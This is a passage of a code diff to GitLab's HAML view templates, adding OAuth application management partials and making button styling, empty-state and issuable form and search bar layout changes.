+++ b/app/views/shared/doorkeeper/applications/_delete_form.html.haml
@@ -0,0 +1,10 @@
+- submit_btn_css ||= 'gl-button btn btn-danger btn-sm'
+= form_tag path do
+ %input{ :name => "_method", :type => "hidden", :value => "delete" }
+ - if defined? small
+ = button_tag type: "submit", class: "gl-button btn btn-danger btn-icon", data: { confirm: _("Are you sure?") } do
+ %span.sr-only
+ = _('Destroy')
+ = sprite_icon('remove')
+ - else
+ = submit_tag _('Destroy'), data: { confirm: _("Are you sure?") }, class: submit_btn_css
diff --git a/app/views/shared/doorkeeper/applications/_form.html.haml b/app/views/shared/doorkeeper/applications/_form.html.haml
new file mode 100644
index 00000000000..91a32b55542
--- /dev/null
+++ b/app/views/shared/doorkeeper/applications/_form.html.haml
@@ -0,0 +1,26 @@
+= form_for @application, url: url, html: { role: 'form', class: 'doorkeeper-app-form' } do |f|
+ = form_errors(@application)
+
+ .form-group
+ = f.label :name, class: 'label-bold'
+ = f.text_field :name, class: 'form-control gl-form-input', required: true
+
+ .form-group
+ = f.label :redirect_uri, class: 'label-bold'
+ = f.text_area :redirect_uri, class: 'form-control gl-form-input gl-form-textarea', required: true
+
+ %span.form-text.text-muted
+ = _('Use one line per URI')
+
+ .form-group.form-check
+ = f.check_box :confidential, class: 'form-check-input'
+ = f.label :confidential, class: 'label-bold form-check-label'
+ %span.form-text.text-muted
+ = _('The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential.')
+
+ .form-group
+ = f.label :scopes, class: 'label-bold'
+ = render 'shared/tokens/scopes_form', prefix: 'doorkeeper_application', token: @application, scopes: @scopes
+
+ .gl-mt-3
+ = f.submit _('Save application'), class: "gl-button btn btn-confirm"
diff --git a/app/views/shared/doorkeeper/applications/_index.html.haml b/app/views/shared/doorkeeper/applications/_index.html.haml
new file mode 100644
index 00000000000..8ccb4bcdbe0
--- /dev/null
+++ b/app/views/shared/doorkeeper/applications/_index.html.haml
@@ -0,0 +1,88 @@
+- @content_class = "limit-container-width" unless fluid_layout
+
+.row.gl-mt-3
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0
+ = page_title
+ %p
+ - if oauth_applications_enabled
+ - if oauth_authorized_applications_enabled
+ = _("Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account.")
+ - else
+ = _("Manage applications that can use GitLab as an OAuth provider.")
+ - else
+ = _("Manage applications that you've authorized to use your account.")
+ .col-lg-8
+ - if oauth_applications_enabled
+ %h5.gl-mt-0
+ = _('Add new application')
+ = render 'shared/doorkeeper/applications/form', url: form_url
+ %hr
+ - else
+ .bs-callout.bs-callout-disabled
+ = _('Adding new applications is disabled in your GitLab instance. Please contact your GitLab administrator to get the permission')
+ - if oauth_applications_enabled
+ .oauth-applications
+ %h5
+ = _("Your applications (%{size})") % { size: @applications.size }
+ - if @applications.any?
+ .table-responsive
+ %table.table
+ %thead
+ %tr
+ %th= _('Name')
+ %th= _('Callback URL')
+ %th= _('Clients')
+ %th.last-heading
+ %tbody
+ - @applications.each do |application|
+ %tr{ id: "application_#{application.id}" }
+ %td= link_to application.name, application_url.call(application)
+ %td
+ - application.redirect_uri.split.each do |uri|
+ %div= uri
+ %td= application.access_tokens.count
+ %td.gl-display-flex
+ = link_to edit_application_url.call(application), class: "gl-button btn btn-default btn-icon gl-mr-3" do
+ %span.sr-only
+ = _('Edit')
+ = sprite_icon('pencil')
+ = render 'shared/doorkeeper/applications/delete_form', path: application_url.call(application), small: true
+ - else
+ .settings-message.text-center
+ = _("You don't have any applications")
+ - if oauth_authorized_applications_enabled
+ .oauth-authorized-applications.prepend-top-20.gl-mb-3
+ - if oauth_applications_enabled
+ %h5
+ = _("Authorized applications (%{size})") % { size: @authorized_apps.size + @authorized_anonymous_tokens.size }
+
+ - if @authorized_tokens.any?
+ .table-responsive
+ %table.table.table-striped
+ %thead
+ %tr
+ %th= _('Name')
+ %th= _('Authorized At')
+ %th= _('Scope')
+ %th
+ %tbody
+ - @authorized_apps.each do |app|
+ - token = app.authorized_tokens.order('created_at desc').first # rubocop: disable CodeReuse/ActiveRecord
+ %tr{ id: "application_#{app.id}" }
+ %td= app.name
+ %td= token.created_at
+ %td= token.scopes
+ %td= render 'doorkeeper/authorized_applications/delete_form', application: app
+ - @authorized_anonymous_tokens.each do |token|
+ %tr
+ %td
+ = _('Anonymous')
+ .form-text.text-muted
+ %em= _("Authorization was granted by entering your username and password in the application.")
+ %td= token.created_at
+ %td= token.scopes
+ %td= render 'doorkeeper/authorized_applications/delete_form', token: token
+ - else
+ .settings-message.text-center
+ = _("You don't have any authorized applications")
diff --git a/app/views/shared/doorkeeper/applications/_show.html.haml b/app/views/shared/doorkeeper/applications/_show.html.haml
new file mode 100644
index 00000000000..b690aa74ff0
--- /dev/null
+++ b/app/views/shared/doorkeeper/applications/_show.html.haml
@@ -0,0 +1,39 @@
+.table-holder.oauth-application-show
+ %table.table
+ %tr
+ %td
+ = _('Application ID')
+ %td
+ .clipboard-group
+ .input-group
+ %input.label.label-monospace.monospace{ id: "application_id", type: "text", autocomplete: 'off', value: @application.uid, readonly: true }
+ .input-group-append
+ = clipboard_button(target: '#application_id', title: _("Copy ID"), class: "gl-button btn btn-default")
+ %tr
+ %td
+ = _('Secret')
+ %td
+ .clipboard-group
+ .input-group
+ %input.label.label-monospace.monospace{ id: "secret", type: "text", autocomplete: 'off', value: @application.secret, readonly: true }
+ .input-group-append
+ = clipboard_button(target: '#secret', title: _("Copy secret"), class: "gl-button btn btn-default")
+ %tr
+ %td
+ = _('Callback URL')
+ %td
+ - @application.redirect_uri.split.each do |uri|
+ %div
+ %span.monospace= uri
+
+ %tr
+ %td
+ = _('Confidential')
+ %td
+ = @application.confidential? ? _('Yes') : _('No')
+
+ = render "shared/tokens/scopes_list", token: @application
+
+.form-actions
+ = link_to _('Edit'), edit_path, class: 'gl-button btn btn-confirm wide float-left'
+ = render 'shared/doorkeeper/applications/delete_form', path: delete_path, submit_btn_css: 'gl-button btn btn-danger gl-ml-3'
diff --git a/app/views/shared/empty_states/_issues.html.haml b/app/views/shared/empty_states/_issues.html.haml
index 8ccf14463c7..13d9d71d58e 100644
--- a/app/views/shared/empty_states/_issues.html.haml
+++ b/app/views/shared/empty_states/_issues.html.haml
@@ -43,7 +43,7 @@
.text-center
- if project_select_button
= render 'shared/new_project_item_select', path: 'issues/new', label: _('New issue'), type: :issues, with_feature_enabled: 'issues'
- - else
+ - elsif show_new_issue_link?(@project)
= link_to _('New issue'), button_path, class: 'gl-button btn btn-confirm', id: 'new_issue_link'
- if show_import_button
@@ -53,7 +53,7 @@
%strong
= s_('JiraService|Using Jira for issue tracking?')
%p.gl-text-center.gl-mb-0
- - jira_docs_link_url = help_page_url('user/project/integrations/jira', anchor: 'view-jira-issues')
+ - jira_docs_link_url = help_page_url('integration/jira/issues', anchor: 'view-jira-issues')
- jira_docs_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: jira_docs_link_url }
= html_escape(s_('JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab.')) % { jira_docs_link_start: jira_docs_link_start.html_safe, jira_docs_link_end: '</a>'.html_safe }
%p.gl-text-center.gl-mb-0.gl-text-gray-500
diff --git a/app/views/shared/empty_states/_profile_tabs.html.haml b/app/views/shared/empty_states/_profile_tabs.html.haml
index 42a845846d1..c813fd691f1 100644
--- a/app/views/shared/empty_states/_profile_tabs.html.haml
+++ b/app/views/shared/empty_states/_profile_tabs.html.haml
@@ -6,7 +6,7 @@
.svg-content
= image_tag illustration_path, size: '75'
.text-content
- - if user_profile? and current_user.present? and current_user.username == params[:username]
+ - if user_profile? && current_user.present? && current_user.username == params[:username]
%h5= current_user_empty_message_header
- if current_user_empty_message_description.present?
diff --git a/app/views/shared/empty_states/_wikis.html.haml b/app/views/shared/empty_states/_wikis.html.haml
index 0bddffa881a..917ef666e85 100644
--- a/app/views/shared/empty_states/_wikis.html.haml
+++ b/app/views/shared/empty_states/_wikis.html.haml
@@ -18,14 +18,14 @@
- elsif @project && can?(current_user, :read_issue, @project)
- issues_link = link_to s_('WikiEmptyIssueMessage|issue tracker'), project_issues_path(@project)
- - new_issue_link = link_to s_('WikiEmpty|Suggest wiki improvement'), new_project_issue_path(@project), class: 'btn gl-button btn-confirm', title: s_('WikiEmptyIssueMessage|Suggest wiki improvement')
= render layout: layout_path, locals: { image_path: 'illustrations/wiki_logout_empty.svg' } do
%h4
= messages.dig(:issuable, :title)
%p.text-left
= messages.dig(:issuable, :body).html_safe % { issues_link: issues_link }
- = new_issue_link
+ - if show_new_issue_link?(@project)
+ = link_to s_('WikiEmpty|Suggest wiki improvement'), new_project_issue_path(@project), class: 'btn gl-button btn-confirm', title: s_('WikiEmptyIssueMessage|Suggest wiki improvement')
- else
= render layout: layout_path, locals: { image_path: 'illustrations/wiki_logout_empty.svg' } do
diff --git a/app/views/shared/form_elements/_description.html.haml b/app/views/shared/form_elements/_description.html.haml
index 7f4aed5d1f7..f8942dddfb4 100644
--- a/app/views/shared/form_elements/_description.html.haml
+++ b/app/views/shared/form_elements/_description.html.haml
@@ -1,7 +1,7 @@
- project = local_assigns.fetch(:project)
- model = local_assigns.fetch(:model)
- form = local_assigns.fetch(:form)
-- placeholder = model.is_a?(MergeRequest) ? _('Describe the goal of the changes and what reviewers should be aware of.') : _('Write a comment or drag your files here…')
+- placeholder = model.is_a?(MergeRequest) ? _('Describe the goal of the changes and what reviewers should be aware of.') : _('Write a description or drag your files here…')
- supports_quick_actions = true
- preview_url = preview_markdown_path(project, target_type: model.class.name)
@@ -19,9 +19,10 @@
= render layout: 'shared/md_preview', locals: { url: preview_url, referenced_users: true } do
= render 'shared/zen', f: form, attr: :description,
- classes: 'note-textarea qa-issuable-form-description rspec-issuable-form-description',
+ classes: 'note-textarea rspec-issuable-form-description',
placeholder: placeholder,
- supports_quick_actions: supports_quick_actions
+ supports_quick_actions: supports_quick_actions,
+ qa_selector: 'issuable_form_description'
= render 'shared/notes/hints', supports_quick_actions: supports_quick_actions
.clearfix
.error-alert
diff --git a/app/views/shared/hook_logs/_content.html.haml b/app/views/shared/hook_logs/_content.html.haml
index 6b056e93460..51f44afe55e 100644
--- a/app/views/shared/hook_logs/_content.html.haml
+++ b/app/views/shared/hook_logs/_content.html.haml
@@ -24,7 +24,7 @@
%h5 Request headers:
%pre
- - hook_log.request_headers.each do |k,v|
+ - hook_log.request_headers.each do |k, v|
<strong>#{k}:</strong> #{v}
%br
@@ -34,7 +34,7 @@
#{Gitlab::Json.pretty_generate(hook_log.request_data)}
%h5 Response headers:
%pre
- - hook_log.response_headers.each do |k,v|
+ - hook_log.response_headers.each do |k, v|
<strong>#{k}:</strong> #{v}
%br
diff --git a/app/views/shared/integrations/_index.html.haml b/app/views/shared/integrations/_index.html.haml
index ccc2c448f69..39365280e71 100644
--- a/app/views/shared/integrations/_index.html.haml
+++ b/app/views/shared/integrations/_index.html.haml
@@ -1,27 +1 @@
-%table.table.b-table.gl-table{ role: 'table', 'aria-busy': false, 'aria-colcount': 4 }
- %colgroup
- %col
- %col
- %col.d-none.d-sm-table-column
- %col{ width: 135 }
- %thead{ role: 'rowgroup' }
- %tr{ role: 'row' }
- %th{ role: 'columnheader', scope: 'col', 'aria-colindex': 1 }
- %th{ role: 'columnheader', scope: 'col', 'aria-colindex': 2 }= _('Integration')
- %th.d-none.d-sm-block{ role: 'columnheader', scope: 'col', 'aria-colindex': 3 }= _('Description')
- %th{ role: 'columnheader', scope: 'col', 'aria-colindex': 4 }= _('Last updated')
-
- %tbody{ role: 'rowgroup' }
- - integrations.each do |integration|
- - activated_label = (integration.activated? ? s_("ProjectService|%{service_title}: status on") : s_("ProjectService|%{service_title}: status off")) % { service_title: integration.title }
- %tr{ role: 'row' }
- %td{ role: 'cell', 'aria-colindex': 1, 'aria-label': activated_label, title: activated_label }
- - if integration.operating?
- = sprite_icon('check', css_class: 'gl-text-green-500')
- %td{ role: 'cell', 'aria-colindex': 2 }
- = link_to integration.title, scoped_edit_integration_path(integration), class: 'gl-font-weight-bold', data: { qa_selector: "#{integration.to_param}_link" }
- %td.d-none.d-sm-table-cell{ role: 'cell', 'aria-colindex': 3 }
- = integration.description
- %td{ role: 'cell', 'aria-colindex': 4 }
- - if integration.updated_at.present?
- = time_ago_with_tooltip integration.updated_at
+.js-integrations-list{ data: integration_list_data(integrations) }
diff --git a/app/views/shared/issuable/_approved_by_dropdown.html.haml b/app/views/shared/issuable/_approved_by_dropdown.html.haml
index 8014545ab85..c64d34d0da4 100644
--- a/app/views/shared/issuable/_approved_by_dropdown.html.haml
+++ b/app/views/shared/issuable/_approved_by_dropdown.html.haml
@@ -1,10 +1,10 @@
#js-dropdown-approved-by.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
- if current_user
diff --git a/app/views/shared/issuable/_board_create_list_dropdown.html.haml b/app/views/shared/issuable/_board_create_list_dropdown.html.haml
index 1a22a66d185..74b064648c0 100644
--- a/app/views/shared/issuable/_board_create_list_dropdown.html.haml
+++ b/app/views/shared/issuable/_board_create_list_dropdown.html.haml
@@ -1,5 +1,5 @@
.dropdown.gl-display-flex.gl-align-items-center.gl-ml-3#js-add-list
- %button.gl-button.btn.btn-confirm.btn-confirm-secondary.js-new-board-list{ type: "button", data: board_list_data }
+ %button.gl-button.btn.btn-confirm.js-new-board-list{ type: "button", data: board_list_data }
Add list
.dropdown-menu.dropdown-extended-height.dropdown-menu-paging.dropdown-menu-right.dropdown-menu-issues-board-new.dropdown-menu-selectable.js-tab-container-labels
= render partial: "shared/issuable/label_page_default", locals: { show_footer: true, show_create: true, show_boards_content: true, title: "Add list" }
diff --git a/app/views/shared/issuable/_bulk_update_sidebar.html.haml b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
index b6fc1f4955b..bbbb728d048 100644
--- a/app/views/shared/issuable/_bulk_update_sidebar.html.haml
+++ b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
@@ -6,7 +6,7 @@
= form_tag [:bulk_update, @project, type], method: :post, class: "bulk-update" do
.block.issuable-sidebar-header
.filter-item.inline.update-issues-btn.float-left
- = button_tag _('Update all'), class: "gl-button btn update-selected-issues btn-info", disabled: true
+ = button_tag _('Update all'), class: "gl-button btn update-selected-issues btn-confirm", disabled: true
= button_tag _('Cancel'), class: "gl-button btn btn-default js-bulk-update-menu-hide float-right"
- if params[:state] != 'merged'
.block
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index 41b7d7e9e1b..de657e39453 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -62,26 +62,24 @@
- is_footer = !(issuable.is_a?(MergeRequest) && issuable.new_record?)
.row-content-block{ class: (is_footer ? "footer-block" : "middle-block") }
- .float-right
- - if issuable.new_record?
- = link_to _('Cancel'), polymorphic_path([@project, issuable.class]), class: 'gl-button btn btn-cancel'
- - else
- - if can?(current_user, :"destroy_#{issuable.to_ability_name}", @project)
- = link_to 'Delete', polymorphic_path([@project, issuable], params: { destroy_confirm: true }), data: { confirm: "#{issuable.human_class_name} will be removed! Are you sure?" }, method: :delete, class: 'btn btn-danger btn-grouped'
- = link_to _('Cancel'), polymorphic_path([@project, issuable]), class: 'gl-button btn btn-grouped btn-default btn-cancel'
-
- %span.gl-mr-3
- - if issuable.new_record?
- = form.submit "Submit #{issuable.class.model_name.human.downcase}", class: 'gl-button btn btn-confirm', data: { qa_selector: 'issuable_create_button' }
- - else
- = form.submit 'Save changes', class: 'gl-button btn btn-confirm'
-
- if !issuable.persisted? && !issuable.project.empty_repo? && (guide_url = issuable.project.present.contribution_guide_path)
- .inline.gl-mt-3
+ .gl-mb-5
Please review the
%strong= link_to('contribution guidelines', guide_url)
for this project.
+ - if issuable.new_record?
+ = form.submit "Create #{issuable.class.model_name.human.downcase}", class: 'gl-button btn btn-confirm gl-mr-2', data: { qa_selector: 'issuable_create_button' }
+ - else
+ = form.submit 'Save changes', class: 'gl-button btn btn-confirm gl-mr-2'
+
+ - if issuable.new_record?
+ = link_to _('Cancel'), polymorphic_path([@project, issuable.class]), class: 'btn gl-button btn-default'
+ - else
+ = link_to _('Cancel'), polymorphic_path([@project, issuable]), class: 'gl-button btn btn-default'
+ - if can?(current_user, :"destroy_#{issuable.to_ability_name}", @project)
+ = link_to 'Delete', polymorphic_path([@project, issuable], params: { destroy_confirm: true }), data: { confirm: _('%{issuableType} will be removed! Are you sure?') % { issuableType: issuable.human_class_name } }, method: :delete, class: 'btn gl-button btn-danger btn-danger-secondary gl-float-right'
+
= render_if_exists 'shared/issuable/remove_approver'
- if issuable.respond_to?(:issue_type)
diff --git a/app/views/shared/issuable/_invite_members_trigger.html.haml b/app/views/shared/issuable/_invite_members_trigger.html.haml
new file mode 100644
index 00000000000..5dd6ec0addf
--- /dev/null
+++ b/app/views/shared/issuable/_invite_members_trigger.html.haml
@@ -0,0 +1,8 @@
+- return unless can_import_members?
+
+.js-invite-members-modal{ data: { id: project.id,
+ name: project.name,
+ is_project: 'true',
+ access_levels: ProjectMember.access_level_roles.to_json,
+ default_access_level: Gitlab::Access::GUEST,
+ help_link: help_page_url('user/permissions') } }
diff --git a/app/views/shared/issuable/_nav.html.haml b/app/views/shared/issuable/_nav.html.haml
index a3d6a2c8e04..cff50eef88b 100644
--- a/app/views/shared/issuable/_nav.html.haml
+++ b/app/views/shared/issuable/_nav.html.haml
@@ -1,6 +1,6 @@
- type = local_assigns.fetch(:type, :issues)
- page_context_word = type.to_s.humanize(capitalize: false)
-- display_count = local_assigns.fetch(:display_count, :true)
+- display_count = local_assigns.fetch(:display_count, true)
%ul.nav-links.issues-state-filters.mobile-separator.nav.nav-tabs
%li{ class: active_when(params[:state] == 'opened') }>
diff --git a/app/views/shared/issuable/_search_bar.html.haml b/app/views/shared/issuable/_search_bar.html.haml
index f5b2868aa6c..1e340f033a1 100644
--- a/app/views/shared/issuable/_search_bar.html.haml
+++ b/app/views/shared/issuable/_search_bar.html.haml
@@ -3,15 +3,15 @@
- show_sorting_dropdown = local_assigns.fetch(:show_sorting_dropdown, true)
- disable_target_branch = local_assigns.fetch(:disable_target_branch, false)
- placeholder = local_assigns[:placeholder] || _('Search or filter results...')
-- is_not_boards_modal_or_productivity_analytics = type != :boards_modal && type != :productivity_analytics
-- block_css_class = is_not_boards_modal_or_productivity_analytics ? 'row-content-block second-block' : ''
-- if board && board.to_type == "EpicBoard"
+- block_css_class = type != :productivity_analytics ? 'row-content-block second-block' : ''
+- is_epic_board = board&.to_type == "EpicBoard"
+- if is_epic_board
- user_can_admin_list = can?(current_user, :admin_epic_board_list, board.resource_parent)
- elsif board
- user_can_admin_list = can?(current_user, :admin_issue_board_list, board.resource_parent)
-.issues-filters{ class: ("w-100" if type == :boards_modal) }
- .issues-details-filters.filtered-search-block.d-flex.flex-column.flex-lg-row{ class: block_css_class, "v-pre" => type == :boards_modal }
+.issues-filters
+ .issues-details-filters.filtered-search-block.d-flex.flex-column.flex-lg-row{ class: block_css_class }
.d-flex.flex-column.flex-md-row.flex-grow-1.mb-lg-0.mb-md-2.mb-sm-0.w-100
- if type == :boards
= render "shared/boards/switcher", board: board
@@ -21,16 +21,16 @@
- if @can_bulk_update
.check-all-holder.d-none.d-sm-block.hidden
= check_box_tag "check-all-issues", nil, false, class: "check-all-issues left"
- - if Feature.enabled?(:boards_filtered_search, @group)
+ - if Feature.enabled?(:boards_filtered_search, @group) && is_epic_board
#js-board-filtered-search
- else
.issues-other-filters.filtered-search-wrapper.d-flex.flex-column.flex-md-row
.filtered-search-box
- - if type != :boards_modal && type != :boards
+ - if type != :boards
- text = tag.span(sprite_icon('history'), class: "d-md-none") + tag.span(_('Recent searches'), class: "d-none d-md-inline")
= dropdown_tag(text,
options: { wrapper_class: "filtered-search-history-dropdown-wrapper",
- toggle_class: "btn filtered-search-history-dropdown-toggle-button",
+ toggle_class: "gl-button btn btn-default filtered-search-history-dropdown-toggle-button",
dropdown_class: "filtered-search-history-dropdown",
content_class: "filtered-search-history-dropdown-content" }) do
.js-filtered-search-history-dropdown{ data: { full_path: search_history_storage_prefix } }
@@ -42,7 +42,7 @@
#js-dropdown-hint.filtered-search-input-dropdown-menu.dropdown-menu.hint-dropdown
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item{ data: {hint: "#{'{{hint}}'}", tag: "#{'{{tag}}'}", action: "#{'{{hint === \'search\' ? \'submit\' : \'\' }}'}" } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
-# Encapsulate static class name `{{icon}}` inside #{} to bypass
-# haml lint's ClassAttributeWithStaticValue
%svg
@@ -52,7 +52,7 @@
#js-dropdown-operator.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dropdown: true, dynamic: true } }
%li.filter-dropdown-item{ data: { value: "{{ title }}" } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
{{ title }}
%span.btn-helptext
{{ help }}
@@ -68,10 +68,10 @@
#js-dropdown-assignee.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
- if current_user
@@ -84,10 +84,10 @@
#js-dropdown-reviewer.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
- if current_user
@@ -102,92 +102,92 @@
#js-dropdown-milestone.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.filter-dropdown-item{ data: { value: 'Upcoming' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Upcoming')
%li.filter-dropdown-item{ data: { value: 'Started' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Started')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link.js-data-value{ type: 'button' }
+ %button.gl-button.btn.btn-link.js-data-value{ type: 'button' }
{{title}}
= render_if_exists 'shared/issuable/filter_iteration', type: type
#js-dropdown-release.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link.js-data-value{ type: 'button' }
+ %button.gl-button.btn.btn-link.js-data-value{ type: 'button' }
{{title}}
#js-dropdown-label.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
%span.dropdown-label-box{ style: 'background: {{color}}' }
%span.label-title.js-data-value
{{title}}
#js-dropdown-my-reaction.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'None' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('None')
%li.filter-dropdown-item{ data: { value: 'Any' } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Any')
%li.divider.droplab-item-ignore
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
%gl-emoji
%span.js-data-value.gl-ml-3
{{name}}
#js-dropdown-wip.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'yes', capitalize: true } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Yes')
%li.filter-dropdown-item{ data: { value: 'no', capitalize: true } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('No')
#js-dropdown-confidential.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dropdown: true } }
%li.filter-dropdown-item{ data: { value: 'yes', capitalize: true } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('Yes')
%li.filter-dropdown-item{ data: { value: 'no', capitalize: true } }
- %button.btn.btn-link{ type: 'button' }
+ %button.gl-button.btn.btn-link{ type: 'button' }
= _('No')
- unless disable_target_branch
#js-dropdown-target-branch.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link.js-data-value.monospace
+ %button.gl-button.btn.btn-link.js-data-value.monospace
{{title}}
#js-dropdown-environment.filtered-search-input-dropdown-menu.dropdown-menu
%ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
%li.filter-dropdown-item
- %button.btn.btn-link.js-data-value{ type: 'button' }
+ %button.gl-button.btn.btn-link.js-data-value{ type: 'button' }
{{title}}
= render_if_exists 'shared/issuable/filter_weight', type: type
@@ -207,8 +207,6 @@
.js-create-column-trigger{ data: board_list_data }
- else
= render 'shared/issuable/board_create_list_dropdown', board: board
- - if @project
- #js-add-issues-btn{ data: { can_admin_list: can?(current_user, :admin_issue_board_list, @project) } }
#js-toggle-focus-btn
- - elsif is_not_boards_modal_or_productivity_analytics && show_sorting_dropdown
+ - elsif type != :productivity_analytics && show_sorting_dropdown
= render 'shared/issuable/sort_dropdown'
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index 787d9db1192..fb2019bef15 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -34,7 +34,7 @@
- if issuable_sidebar[:supports_milestone]
- milestone = issuable_sidebar[:milestone] || {}
- .block.milestone{ class: 'gl-border-b-0!', data: { qa_selector: 'milestone_block' } }
+ .block.milestone{ :class => ("gl-border-b-0!" if issuable_sidebar[:supports_iterations]), data: { qa_selector: 'milestone_block' } }
.sidebar-collapsed-icon.has-tooltip{ title: sidebar_milestone_tooltip_label(milestone), data: { container: 'body', html: 'true', placement: 'left', boundary: 'viewport' } }
= sprite_icon('clock')
%span.milestone-title.collapse-truncated-title
@@ -70,41 +70,7 @@
= _('Time tracking')
= loading_icon(css_class: 'gl-vertical-align-text-bottom')
- if issuable_sidebar.has_key?(:due_date)
- .block.due_date
- .sidebar-collapsed-icon.has-tooltip{ data: { placement: 'left', container: 'body', html: 'true', boundary: 'viewport' }, title: sidebar_due_date_tooltip_label(issuable_sidebar[:due_date]) }
- = sprite_icon('calendar')
- %span.js-due-date-sidebar-value
- = issuable_sidebar[:due_date].try(:to_s, :medium) || _('None')
- .title.hide-collapsed
- = _('Due date')
- = loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
- - if can_edit_issuable
- = link_to _('Edit'), '#', class: 'js-sidebar-dropdown-toggle edit-link float-right', data: { track_label: "right_sidebar", track_property: "due_date", track_event: "click_edit_button", track_value: "" }
- .value.hide-collapsed
- %span.value-content
- - if issuable_sidebar[:due_date]
- %span.bold= issuable_sidebar[:due_date].to_s(:medium)
- - else
- %span.no-value
- = _('None')
- - if can_edit_issuable
- %span.no-value.js-remove-due-date-holder{ class: ("hidden" if issuable_sidebar[:due_date].nil?) }
- \-
- %a.js-remove-due-date{ href: "#", role: "button" }
- = _('remove due date')
- - if can_edit_issuable
- .selectbox.hide-collapsed
